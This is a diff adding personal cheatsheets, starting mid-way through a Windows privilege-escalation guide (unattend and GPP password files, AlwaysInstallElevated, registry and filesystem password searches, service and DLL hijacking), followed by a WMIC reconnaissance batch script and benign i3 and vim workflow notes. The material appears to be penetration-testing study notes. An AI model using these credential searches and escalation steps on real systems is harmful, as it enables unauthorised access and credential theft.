+Metasploit-Module: post/multi/recon/local_exploit_suggester (Windows & Linux)
+
+2.2) Mass rollout aka sysprep/unattended
+
+* for mass-rollout of windows machines, the tool sysprep is used
+* its possible that the config files are still laying around somewhere
+
+-> contain passwords, licence keys...
+
+Paths to look-out:
+
+```
+C:\sysprep.inf
+C:\sysprep\sysprep.xml
+%WINDIR%\Panther\Unattend\Unattended.xml
+%WINDIR%\Panther\Unattended.xml
+
+// Modules
+Powersploit-module: Get-UnattendedInstallFile
+Metasploit-module:  post/windows/gather/enum_unattend
+```
+
+2.3) Passwords saved in Group Policy Preferences
+
+This is used to add local users via a domain account.
+Passwords are encrypted with AES -> Key was published on MSDN ;)
+
+* Following locations:
+```
+\domain\SYSVOL\...\Groups.xml
+
+// Modules
+Powersploit-module: Get-CachedGPPPassword
+Metasploit-module:  post/windows/gather/credentials/gpp
+```
+
+
+2.4) "AlwaysInstallElevated" Registry Key
+This registry key, if set, lets unpriviledged users install .msi Files as NT AUTHORITY\SYSTEM
+Dafuq??
+Check the following registry keys: (both must be checked, BUT! if HKLM is checked, you can enable the HKCU one yourself)
+
+```
+cmd> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
+cmd> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
+
+// Modules
+Powersploit-module: Get-RegistryAlwaysInstallElevated
+Metasploit-module:  exploit/windows/local/always_install_elevated
+```
+
+2.5) Search FS for Password files/password configs
+
+The command below will search the file system for file names containing certain keywords. You can
+specify as many keywords as you wish.
+```
+cmd> dir /s *pass* == *cred* == *vnc* == *.config*
+```
+
+Search certain file types for a keyword, this can generate a lot of output.
+```
+cmd> findstr /si password *.xml *.ini *.txt
+```
+
+Similarly, the two commands below can be used to grep the registry for keywords, in this case "password".
+```
+cmd> reg query HKLM /f password /t REG_SZ /s
+cmd> reg query HKCU /f password /t REG_SZ /s
+```
+
+2.6) Autologon - saved credentials
+
+You can save the credentials in the registry to automaticall login at windows start
+
+```
+Powersploit: Get-RegistryAutoLogon
+```
+
+
+3) More cool Stuff!
+
+3.1 Unquoted Service Paths:
+
+Get Services with a space in the Path an no quotes
+
+```
+Powersploit-module: Get-ServiceUnquoted
+Metasploit-module: exploit/windows/local/trusted_service_path
+```
+
+
+3.2 Services, with file access:
+
+Lookout for services, where the current user has access to the path of the binary
+exploit: change binary to your own exe
+
+```
+Powersploit-module: Get-ModifiableServiceFile
+Metasploit-module: [..]
+```
+
+
+3.3 Services, with service access:
+
+Lookout for services, where the current user has access to the service itself
+exploit: change the path of the service executable to your own exe
+
+```
+Powersploit-module: Get-ModifiableService
+Metasploit-module: [..]
+```
+
+3.4 DLL Load order hijacking:
+
+Search a executable which loads a dll from a path where you can write too, or
+one that loads an dll from a path, where you have access to a path earlier in the load order
+
+Example: file loads dll custom.dll which is in C:\Windows\System32

+ 32 - 0
cheatsheets/security/windows/wmic.md

@@ -0,0 +1,32 @@
+---
+title: Wmic
+categories: [cheatsheets]
+tags: [security, windows]
+---
+
+# Windows Wmic Magic
+
+**WMIC = Windows Management instrumentation Command-Line**
+
+Some Windows machines wont allow a user, which is not in the adminsistrators group, to execute wmic.
+
+-> Its almost always on XP Machines
+
+WMIC Info script, outputs nice html file to view processes, services, tasks, network info...
+
+```bat
+for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"
+wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
+wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
+wmic USERACCOUNT list full /format:"%var%" >> out.html
+wmic group list full /format:"%var%" >> out.html
+wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
+wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
+wmic netuse list full /format:"%var%" >> out.html
+wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
+wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
+wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
+wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
+wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
+```
+**Save this to "wmic_info.bat" and execute it. Profit? Profit! 😀**

+ 7 - 0
cheatsheets/template.md

@@ -0,0 +1,7 @@
+---
+title: <Title here>
+categories: [cheatsheets]
+tags: [topic]
+---
+
+# <Title here>

+ 39 - 0
cheatsheets/workflow/i3-scripts.md

@@ -0,0 +1,39 @@
+---
+title: i3 worklow scripts
+categories: [cheatsheets]
+tags: [workflow]
+---
+
+# i3 worklow scripts
+
+## Overview / .scripts outline
+
+
+**Outline:**
+```
+.scripts/
+    - i3/
+        - i3blocks/
+    - tools/
+    - misc/
+```
+
+**Workflow oriented:**
+
+```
+i3/unicode.sh: dropdown-list for searchable emojies
+i3/lock.sh: bi
+i3/i3blocks/i3vpn.sh: show connection status of protonvpn
+i3/i3blocks/i3rss.sh: show # of unread RSS feeds (newsboat)
+
+tools/colorchanger: changes base16 colors for [shell, i3, rofi] (default: orangina)
+tools/spotify-ctrl: spotify control script, bind to keyboard media keys.
+tools/extract: extract multiple archive types.
+tools/mkscreenhot: wrapper for the Print key.
+tools/md-viewer: shellscript for converting md->html and viewing them in the surf browser.
+
+misc/wpa_pass_to_md4: converts the, for wpa_supplicant needed, WPA PSK Passphrase to md4 ('securely' store the pw in a config file)
+misc/qrshare: takes text as input and displays it as image and ascii-art.
+```
+
+

+ 58 - 0
cheatsheets/workflow/notetaking-workflow.md

@@ -0,0 +1,58 @@
+---
+title: Vim Notetaking Workflow
+categories: [cheatsheets]
+tags: [workflow]
+---
+
+# Vim Notetaking Workflow
+
+For notetakig with vim, the plugin vim-notes is used.
+
+* Source: [Github Repository](https://github.com/xolox/vim-notes)
+
+_Note:_ vim-notes is using mostly markdown syntax (great for converting to html, ...)
+
+
+Settings in the .vimrc:
+
+```
+let g:notes_directories = ['~/documents/todo']
+let g:notes_suffix = '.note'
+
+" use this extension to autocmd Goyo
+autocmd BufAdd *.note :Goyo 90%
+```
+
+## Workflow
+
+* To open a note use the following syntax: `vim note:thesis`
+* The same works for creating a new note
+    * Benefit: Can be done from any directory (all notes are stored in ~/documents/todo)
+* Search all notes with: `SearchNotes xyz`
+* Use it with `:Goyo 90%` for the cleaner look! 😃
+* Have one file referencing all available notes (as index index.note file)
+* bind it in i3 to `mod+n` and start it as floating/scratchpad window
+
+-> Have one unique note-file for different topics. (eg. thesis, generic todo, ...)
+
+## Rules
+
+For Todo-Items use:
+
+```
+* TODO For todo items
+* DONE For things that are already done
+* XXX For important things
+```
+
+**Basic Layout:**
+
+```
+title
+
+## General
+
+## Notes/Misc
+
+```
+